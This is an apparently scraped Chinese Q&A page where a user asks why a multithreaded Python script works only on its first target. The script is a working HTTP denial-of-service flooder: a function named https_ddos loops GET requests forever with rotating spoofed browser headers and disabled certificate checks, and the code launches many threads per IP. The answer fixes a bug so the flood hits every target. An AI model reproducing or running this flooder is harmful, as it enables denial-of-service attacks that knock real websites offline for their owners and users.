我想使用2维数组来创建线程,然后执行某些操作,但只有第一列有效
这是代码的一部分
thread_name=[]
if targeturl.lower=='ip':
for j in range(0,len(iplist)):
thread_name.append([])
for i in range(0,x):
urltest=urlparse(iplist[j])
thread_name[j].append('0')
thread_name[j][i]=threading.Thread(target=https_ddos,args=(urltest,y))
thread_name[j][i].start()
答案 0 :(得分:1)
这是https_ddos的功能
def https_ddos(urltest,y):
get_header0={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-CN,cn;q=0.8,en-US;q=0.5,en;q=0.3','Accept-Encoding':' gzip, deflate','Upgrade-Insecure-Requests': '1','Pragma': 'no-cache','Cache-Control':'no-cache'}
get_header1={'Pragma': 'no-cache','Cache-Control': 'no-cache','Upgrade-Insecure-Requests': '1','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,cn;q=0.9,en-US;q=0.8,en;q=0.7'}
get_header2={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134','Accept-Language': 'zh-CN','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Upgrade-Insecure-Requests': '1','Accept-Encoding': 'gzip, deflate','Cache-Control': 'no-cache'}
if urltest.scheme=='https':
context=ssl.create_default_context()
context.check_hostname=False
context.verify_mode=ssl.CERT_NONE
test=http.client.HTTPSConnection(urltest.netloc,None, key_file=None, cert_file=None,context=context,timeout=3)
while True:
r=randint(0,2)
if r==0:
test.request('GET',headers=get_header0,url=urltest.path)
elif r==1:
test.request('GET',headers=get_header1,url=urltest.path)
else:
test.request('GET',headers=get_header2,url=urltest.path)
res = test.getresponse()
res.read()
print('Status', res.status)
time.sleep(y)
elif urltest.scheme=='http':
c = HTTPConnection(urltest.netloc,None,timeout=3)
r=randint(0,2)
while True:
if r==0:
c.request('GET',headers=get_header0,url=urltest.path)
elif r==1:
c.request('GET',headers=get_header1,url=urltest.path)
else:
c.request('GET',headers=get_header2,url=urltest.path)
resp = c.getresponse()
resp.read()
print('Status', resp.status)
time.sleep(y)
答案 1 :(得分:0)
我发现问题是 如果targeturl.lower =='ip': 应该更改为 如果targeturl.lower()=='ip':